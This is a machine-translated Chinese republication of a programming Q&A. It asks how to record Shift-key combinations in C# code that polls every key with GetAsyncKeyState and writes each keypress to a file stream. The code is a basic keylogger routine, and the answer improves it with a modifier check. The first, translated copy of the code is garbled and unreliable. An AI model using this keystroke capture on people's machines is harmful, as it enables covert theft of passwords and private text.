如何在控制台中使用shift键写入键 [英] how can write the keys with shift key in console

查看:124
本文介绍了如何在控制台中使用shift键写入键的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

  for  Int32  i =  0 ; i <   255 ; i ++)
{

int keyState = GetAsyncKeyState(i);
if (keyState == 1 || keyState == -32767)
{
switch ((Keys)i)
{
case Keys.ControlKey:sw.Write( ); break ;
case Keys.LMenu:sw.Write( ); break ;
case Keys.RMenu:sw.Write( ); break ;
case Keys.Space:sw.Write( ); break ;
case Keys.Return:sw.WriteLine( \\\
); break ;
case Keys.Back:sw.Write( ); break ;
case Keys.Tab:sw.Write( ); break ;
case Keys.ShiftKey:sw.Write( ); break ;
case Keys.LButton:sw.Write( ); break ;
case Keys.Insert:sw.Write( ); break ;
case Keys.Delete:sw.Write( DEL); break ;
case Keys.LShiftKey:sw.Write( ); break ;
case Keys.RShiftKey:sw.Write( ); break ;
case Keys.LControlKey:sw.Write( ); break ;
case Keys.RControlKey:sw.Write( ); break ;
case Keys.LWin:sw.Write( [开始菜单]); break ;
case Keys.A:sw.Write( 一个); break ;
case Keys.B:sw.Write( b); break ;
case Keys.C:sw.Write( C); break ;
case Keys.D:sw.Write( d); break ;
case Keys.E:sw.Write( E); break ;
case Keys.F:sw.Write( F); break ;
case Keys.G:sw.Write( ); break ;
case Keys.H:sw.Write( H); break ;
case Keys.I:sw.Write( i 的); break ;
case Keys.J:sw.Write( J); break ;
case Keys.K:sw.Write( K); break ;
case Keys.L:sw.Write( ); break ;
case Keys.M:sw.Write( m 个); break ;
case Keys.N:sw.Write( N); break ;
case Keys.O:sw.Write( ); break ;
case Keys.P:sw.Write( p); break ;
case Keys.Q:sw.Write( q); break ;
case Keys.R:sw.Write( R); break ;
case Keys.S:sw.Write( S); break ;
case Keys.T:sw.Write( t 的); break ;
case Keys.U:sw.Write( U); break ;
case Keys.V:sw.Write( v); break ;
case Keys.W:sw.Write( W); break ;
case Keys.X:sw.Write( X); break ;
case Keys.Y:sw.Write( Y); break ;
case Keys.Z:sw.Write( Z); break ;
case Keys.D0:sw.Write( 0); break ;
case Keys.D1:sw.Write( 1); break ;
case Keys.D2:sw.Write( 2); break ;
case Keys.D3:sw.Write( 3); break ;
case Keys.D4:sw.Write( 4); break ;
case Keys.D5:sw.Write( 10); break ;
case Keys.D6:sw.Write( 6); break ;
case Keys.D7:sw.Write( 7); break ;
case Keys.D8:sw.Write( 8); break ;
case Keys.D9:sw.Write( 9); break ;
case Keys.Add:sw.Write( +); break ;
case Keys.Divide:sw.Write( /); break ;
case Keys.End:sw.Write( 结束); break ;
case Keys.Escape:sw.Write( Esc); break ;
case Keys.F1:sw.Write( F1); break ;
case Keys.F2:sw.Write( F2); break ;
case Keys.F3:sw.Write( F3); break ;
case Keys.F4:sw.Write( F4); break ;
case Keys.F5:sw.Write( F5); break ;
case Keys.F6:sw.Write( F6); break ;
case Keys.F7:sw.Write( F7); break ;
case Keys.F8:sw.Write( F8); break ;



 默认
sw.Write((Keys)i);
break ;
}





}}}



//怎么样可以在控制台中使用流编写器编写shift键组合..

解决方案

case Keys.D1:if(Control.ModifierKeys == Keys.Shift)sw.Write( !);否则sw.Write(1);打破;

for (Int32 i = 0; i < 255; i++)
               {

                   int keyState = GetAsyncKeyState(i);
                   if (keyState == 1 || keyState == -32767)
                   {
                       switch ((Keys)i)
                       {
                           case Keys.ControlKey: sw.Write(""); break;
                           case Keys.LMenu: sw.Write(""); break;
                           case Keys.RMenu: sw.Write(""); break;
                           case Keys.Space: sw.Write(" "); break;
                           case Keys.Return: sw.WriteLine("\n"); break;
                           case Keys.Back: sw.Write(""); break;
                           case Keys.Tab: sw.Write(""); break;
                           case Keys.ShiftKey: sw.Write(""); break;
                           case Keys.LButton: sw.Write(""); break;
                           case Keys.Insert: sw.Write(""); break;
                           case Keys.Delete: sw.Write(" DEL "); break;
                           case Keys.LShiftKey: sw.Write(""); break;
                           case Keys.RShiftKey: sw.Write(""); break;
                           case Keys.LControlKey: sw.Write(""); break;
                           case Keys.RControlKey: sw.Write(""); break;
                           case Keys.LWin: sw.Write(" [Start Menu] "); break;
                           case Keys.A: sw.Write("a"); break;
                           case Keys.B: sw.Write("b"); break;
                           case Keys.C: sw.Write("c"); break;
                           case Keys.D: sw.Write("d"); break;
                           case Keys.E: sw.Write("e"); break;
                           case Keys.F: sw.Write("f"); break;
                           case Keys.G: sw.Write("g"); break;
                           case Keys.H: sw.Write("h"); break;
                           case Keys.I: sw.Write("i"); break;
                           case Keys.J: sw.Write("j"); break;
                           case Keys.K: sw.Write("k"); break;
                           case Keys.L: sw.Write("l"); break;
                           case Keys.M: sw.Write("m"); break;
                           case Keys.N: sw.Write("n"); break;
                           case Keys.O: sw.Write("o"); break;
                           case Keys.P: sw.Write("p"); break;
                           case Keys.Q: sw.Write("q"); break;
                           case Keys.R: sw.Write("r"); break;
                           case Keys.S: sw.Write("s"); break;
                           case Keys.T: sw.Write("t"); break;
                           case Keys.U: sw.Write("u"); break;
                           case Keys.V: sw.Write("v"); break;
                           case Keys.W: sw.Write("w"); break;
                           case Keys.X: sw.Write("x"); break;
                           case Keys.Y: sw.Write("y"); break;
                           case Keys.Z: sw.Write("z"); break;
                           case Keys.D0: sw.Write("0"); break;
                           case Keys.D1: sw.Write("1"); break;
                           case Keys.D2: sw.Write("2"); break;
                           case Keys.D3: sw.Write("3"); break;
                           case Keys.D4: sw.Write("4"); break;
                           case Keys.D5: sw.Write("5"); break;
                           case Keys.D6: sw.Write("6"); break;
                           case Keys.D7: sw.Write("7"); break;
                           case Keys.D8: sw.Write("8"); break;
                           case Keys.D9: sw.Write("9"); break;
                           case Keys.Add: sw.Write("+"); break;
                           case Keys.Divide: sw.Write("/"); break;
                           case Keys.End: sw.Write(" End "); break;
                           case Keys.Escape: sw.Write(" Esc "); break;
                           case Keys.F1: sw.Write(" F1 "); break;
                           case Keys.F2: sw.Write(" F2 "); break;
                           case Keys.F3: sw.Write(" F3 "); break;
                           case Keys.F4: sw.Write(" F4 "); break;
                           case Keys.F5: sw.Write(" F5 "); break;
                           case Keys.F6: sw.Write(" F6 "); break;
                           case Keys.F7: sw.Write(" F7 "); break;
                           case Keys.F8: sw.Write(" F8 "); break;


default:
                              sw.Write((Keys)i);
                              break;
                      }



}}}

//how can write the shift key combination with stream writer in console..

解决方案

case Keys.D1: if (Control.ModifierKeys == Keys.Shift) sw.Write("!");else sw.Write("1"); break;


这篇关于如何在控制台中使用shift键写入键的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆